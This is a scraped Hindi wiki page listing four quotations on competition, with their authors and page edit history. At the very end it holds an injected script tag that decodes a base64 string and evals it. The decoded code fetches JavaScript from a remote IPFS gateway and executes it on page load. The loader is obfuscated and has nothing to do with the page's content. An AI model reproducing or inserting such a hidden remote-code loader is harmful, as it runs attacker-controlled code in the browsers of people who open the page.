प्रतियोगिता (सूक्तियाँ)

भारत डिस्कवरी प्रस्तुति
फ़ौज़िया ख़ान (चर्चा | योगदान) द्वारा परिवर्तित 06:09, 13 मार्च 2012 का अवतरण ('{| width="100%" class="bharattable-pink" |- ! क्रमांक ! सूक्तियाँ ! सूक्ति कर्ता |-...' के साथ नया पन्ना बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें
क्रमांक सूक्तियाँ सूक्ति कर्ता
(1) स्पर्धा और प्रतिस्पर्धा से वातावरण दीप्त और उद्दीप्त रहता है। जैनेन्द्र कुमार
(2) कुछ लोग दुर्भीति (Phobia) के शिकार हो जाते हैं उन्हें उनकी क्षमता पर पूरा विश्वास नहीं रहता और वे सोचते हैं प्रतियोगिता के दौड़ में अन्य प्रतियोगी आगे निकल जायेंगे।
(3) प्रतियोगिता हमें अधिक सक्षम बनाती हैं, नये जवाब तलाश करने के लिये प्रेरित करती हैं और इस दंभ से बचाती हैं कि हम सब कुछ जानते हैं। टाम मोनाहन
(4) विजेता उस समय विजेता नहीं बनते हैं जब वह किसी प्रतियोगिता को जीतते हैं, लेकिन विजेता तो वे उन घंटो, सप्ताहों, महीनों और वर्षों में बनते हैं जब वे इसके लिए तैयारी करते हैं। विजयी निष्पादन तो केवल उनके विजेता स्वभाव को परिलक्षित करता है। टी. एलन आर्मस्ट्रांग

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>